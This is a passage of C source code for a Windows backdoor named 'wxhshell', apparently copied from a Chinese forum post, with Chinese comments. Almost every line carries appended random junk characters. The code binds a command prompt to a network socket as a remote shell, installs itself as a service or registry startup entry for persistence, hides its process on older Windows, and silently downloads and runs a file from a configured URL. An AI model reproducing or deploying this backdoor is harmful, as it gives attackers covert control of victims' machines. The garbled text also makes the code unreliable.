kt^yj"C>  
    switch(cmd[0]) { CRFCqmevR  
  h#i\iK&A  
  // 帮助 !(Krf  
  case '?': { 7K&}C;+  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); V vu(`9u]  
    break; Lf. 1>s  
  } }g`Gh|C  
  // 安装 !z"Nv1!~|  
  case 'i': { mN;+TN'?{  
    if(Install()) [C1 LT2a  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ekv89swl`i  
    else {<2>6 _z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Rp8{.t7  
    break; j{"z4Y4  
    } XS?gn.o\  
  // 卸载 |; $Bb866/  
  case 'r': { P z ?m>>#  
    if(Uninstall()) n@!wp/J,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MIq"Wy|Zs  
    else A\z`c e!  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $Pxb1E  
    break; G"T\=cQz  
    } _%y4q%#  
  // 显示 wxhshell 所在路径 q$[n`w-  
  case 'p': { ;+ azeW ^  
    char svExeFile[MAX_PATH]; 5 L/x-i  
    strcpy(svExeFile,"\n\r"); GIT #<+"  
      strcat(svExeFile,ExeFile); !Xj#@e  
        send(wsh,svExeFile,strlen(svExeFile),0); i|]7(z#OyI  
    break; pMR,#[U<  
    } h >-'-Hx+  
  // 重启 w{!(r  
  case 'b': { ESTM$k }X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s~^}F+n  
    if(Boot(REBOOT)) m:uPEpcU  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2L$G&?  
    else { %MZP)k,&U  
    closesocket(wsh); .oqIZ\iik  
    ExitThread(0); }#1/fok  
    } VfSj E.|  
    break; ^C/  
    } 5G[x}4U  
  // 关机 0K `[,$Y  
  case 'd': { nv0#~UgE#a  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); PT'MNH  
    if(Boot(SHUTDOWN)) $TG =w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?A?F.n`  
    else { ` qUX.  
    closesocket(wsh); KkcXNjPVS  
    ExitThread(0); fBhoGA{=g  
    } D+JAK!W  
    break; yVX8e I  
    } iafE5b)  
  // 获取shell d$t40+v  
  case 's': { \?**2{9&)  
    CmdShell(wsh); -]srp;=i  
    closesocket(wsh); DF_X  
    ExitThread(0); q_V0+qH  
    break; O hVs#^  
  } =>iA gp'#  
  // 退出 v+G=E2Lhv  
  case 'x': { B07v^!Z>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); AY,].Zg[  
    CloseIt(wsh); 0.Ta Xbi  
    break; z//VlB  
    } =Yz'D|=t  
  // 离开 HCWNo  
  case 'q': { q?):oJ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $pyOn2}  
    closesocket(wsh); G2Vv i[c  
    WSACleanup(); C0jj(ku&  
    exit(1); &V7M}@  
    break; xtfBfA  
        } v{aq`uH  
  } b2,!g }I  
  } UC HZ2&  
 asHxL!  
  // 提示信息 as*4UT3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s{0aBeq  
} IQZ#-)[T"  
  } ,<-G<${  
y5r4+2B  
  return; ?e[lr>-  
} <-'$~G j  
5 Xn.CBd]  
// shell模块句柄 ]\ !5}L  
int CmdShell(SOCKET sock) c;?fMX  
{ V#REjsf,t-  
STARTUPINFO si; U*3J+Y  
ZeroMemory(&si,sizeof(si)); a 2 IgC25  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; UT0){%2@  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2i;7{7  
PROCESS_INFORMATION ProcessInfo; PHOP%hI $  
char cmdline[]="cmd"; zk-.u}RBFG  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %D$]VSP;  
  return 0; GZI`jS"lU  
} #7ohQrP  
|a1{ve[  
// 自身启动模式 k:jSbbQ  
int StartFromService(void) tW WWx~k  
{ hj'(*ND7z  
typedef struct HY)-/  
{ ;X*cCb`h   
  DWORD ExitStatus; *Kdda} J+  
  DWORD PebBaseAddress; pRkP~ZISU  
  DWORD AffinityMask; Xs: 3'ua  
  DWORD BasePriority; OnQdq^UB  
  ULONG UniqueProcessId; _XCOSomL`  
  ULONG InheritedFromUniqueProcessId; T,aW8|  
}   PROCESS_BASIC_INFORMATION; =[b)1FUp  
]vwW]O7  
PROCNTQSIP NtQueryInformationProcess; F*"}aP$  
okbQ<{9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,) J~,^f6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $Y69@s%f  
yw];P o,  
  HANDLE             hProcess; :VTTh |E%#  
  PROCESS_BASIC_INFORMATION pbi; '!/<P"5t  
*G* k6.9W!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); D$t k<{)oB  
  if(NULL == hInst ) return 0; vZ.x{"n'~  
phM>.y_  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ep)>X@t  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ,l<6GB2\  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); B95B|tU>.  
")d`dj\o  
  if (!NtQueryInformationProcess) return 0; 0`^&9nR  
z^T`x_mF  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Q~Hy%M%R3  
  if(!hProcess) return 0; #O+),,WS  
:j+ ZI3@  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; sBcPq SMby  
xg3:}LQ  
  CloseHandle(hProcess); q FAT]{{  
e)(wss+d7P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); %}%Qc6.H  
if(hProcess==NULL) return 0; @3zg=?3  
=weSyZ1~  
HMODULE hMod; <yd{tD$A*  
char procName[255]; ;qm D50:%  
unsigned long cbNeeded; 2nR[Xh?L  
%44leINx  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); +F^^c2E  
0tXS3+@n =  
  CloseHandle(hProcess); m6w].-D8  
;C2K~8,  
if(strstr(procName,"services")) return 1; // 以服务启动 NuQdSj_>  
>Wv;R2|  
  return 0; // 注册表启动 T\D}kQM  
} "vOwd.(?N  
,%M$0poKM  
// 主模块 4rLL[??  
int StartWxhshell(LPSTR lpCmdLine) PK`D8)=u  
{ 2+e}*&iQpp  
  SOCKET wsl; ee^{hQi  
BOOL val=TRUE; `Tv[DIVW  
  int port=0; njputEGX  
  struct sockaddr_in door; eS~LF.^Jw  
?`PvL!'  
  if(wscfg.ws_autoins) Install(); ++`0rY%  
5:KQg  
port=atoi(lpCmdLine); 'F9jq  
Pu"P9  
if(port<=0) port=wscfg.ws_port; zd >t-?g  
 &7K?w~  
  WSADATA data; T7hcnF$  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?gt l)q  
*^VRGfpb  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   8~@c)Z;  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [q8 P~l  
  door.sin_family = AF_INET; hYG6 pTCb  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); `T5W}p[6  
  door.sin_port = htons(port); Ezd_`_@R  
<^5Z:n!q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { lww!-(<ww  
closesocket(wsl); ).`1+b  
return 1; %[ Z \S0C  
} Ws|j#X<  
sN9&,&W1  
  if(listen(wsl,2) == INVALID_SOCKET) { *V8<:OG|e  
closesocket(wsl); gc-@"wI?  
return 1; {Tq_7,8  
} (ROY?5 @c  
  Wxhshell(wsl); s@K4u^$A  
  WSACleanup(); -"' j7t:  
w"-Lc4t+  
return 0; b*c*r dTx  
128EPK  
} KBx6NU?;PO  
~j}cyHg  
// 以NT服务方式启动 3TeY%5iVt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) [+n*~  
{ keL&b/@  
DWORD   status = 0; d928~y W  
  DWORD   specificError = 0xfffffff; 7:plQ !7^  
8]/bK5`  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Vc\MV0lr  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; chM%]|gey  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; X86O lP)eX  
  serviceStatus.dwWin32ExitCode     = 0; N8F~8lTi  
  serviceStatus.dwServiceSpecificExitCode = 0; r1 !@hT  
  serviceStatus.dwCheckPoint       = 0; Hq:X{)"  
  serviceStatus.dwWaitHint       = 0; I9_RlAd  
s >7}zU]  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); gmw|H?]  
  if (hServiceStatusHandle==0) return; ]%@M>?Ywc  
S"NqM[W  
status = GetLastError(); qouhuH_WtJ  
  if (status!=NO_ERROR) J\twZ>w~0  
{ y" RF;KW>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;K:zmH  
    serviceStatus.dwCheckPoint       = 0; {6|38$Rl  
    serviceStatus.dwWaitHint       = 0; /?5 1D@  
    serviceStatus.dwWin32ExitCode     = status; ^}/PGG\~r  
    serviceStatus.dwServiceSpecificExitCode = specificError; PUT=C1,OFR  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,<(}|go   
    return; _|kxY '_[8  
  } #L=x%8B  
3]}D`Qs6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]7W&JKmA&  
  serviceStatus.dwCheckPoint       = 0; !;q&NHco  
  serviceStatus.dwWaitHint       = 0; ^ Edfv5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D=j-!{zB  
} AifWf2$S  
yj 3cyLXw  
// 处理NT服务事件,比如:启动、停止  HSjlD{R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LO9=xGj.  
{ (-UYB9s  
switch(fdwControl) #xsE3Wj-X  
{ ,1~"eGl!  
case SERVICE_CONTROL_STOP: n4;.W#\  
  serviceStatus.dwWin32ExitCode = 0; =upeRY@u5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k9sh @ENy  
  serviceStatus.dwCheckPoint   = 0; \=VtHu92=  
  serviceStatus.dwWaitHint     = 0; lk/n}bx  
  { #^u$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); &FMc?wq  
  } U6glp@s  
  return; 2Q/x@aT,h  
case SERVICE_CONTROL_PAUSE: }|0^EWL  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; pnl{&<$C%C  
  break; !`Fxa4i>  
case SERVICE_CONTROL_CONTINUE: g/ T   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; orzZ{87  
  break; !,wIQy_e4  
case SERVICE_CONTROL_INTERROGATE: ? &o2st  
  break; =MQoC:l  
}; c,np2myd  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B nFwlw  
} BRw .]&/  
yZ0-wI  
// 标准应用程序主函数 w$3 ,A$8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~8'sBT  
{ ?&8^&brwG  
7Od -I*bt  
// 获取操作系统版本 !j9t*2m[  
OsIsNt=GetOsVer(); NW~N}5T  
GetModuleFileName(NULL,ExeFile,MAX_PATH); {% rA1g  
9'fQHwsJ  
  // 从命令行安装 v [wb~uw\  
  if(strpbrk(lpCmdLine,"iI")) Install(); Q:2>}QgX}  
tqz3zIQ  
  // 下载执行文件 ]J1dtN=  
if(wscfg.ws_downexe) { ~Otq %MQ  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) R5N%e%[  
  WinExec(wscfg.ws_filenam,SW_HIDE); H*d9l2,KZS  
} R6` WN  
SL Ws*aq  
if(!OsIsNt) { -$pzl,^ h  
// 如果时win9x,隐藏进程并且设置为注册表启动 lEH65;Nh*  
HideProc(); l.q&D< _  
StartWxhshell(lpCmdLine); 9g9HlB&Ze  
} !y\'EW3|G  
else UFXaEl}R   
  if(StartFromService()) v"y-0$M  
  // 以服务方式启动 Eq%}  
  StartServiceCtrlDispatcher(DispatchTable); H9'$C/w  
else cq,SP&T~  
  // 普通方式启动 wg9t)1k{e  
  StartWxhshell(lpCmdLine); +5w))9@  
n<Z({\9&H  
return 0; 7o7)0l9!  
}
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只看该作者 1 发表于: 2006-10-10
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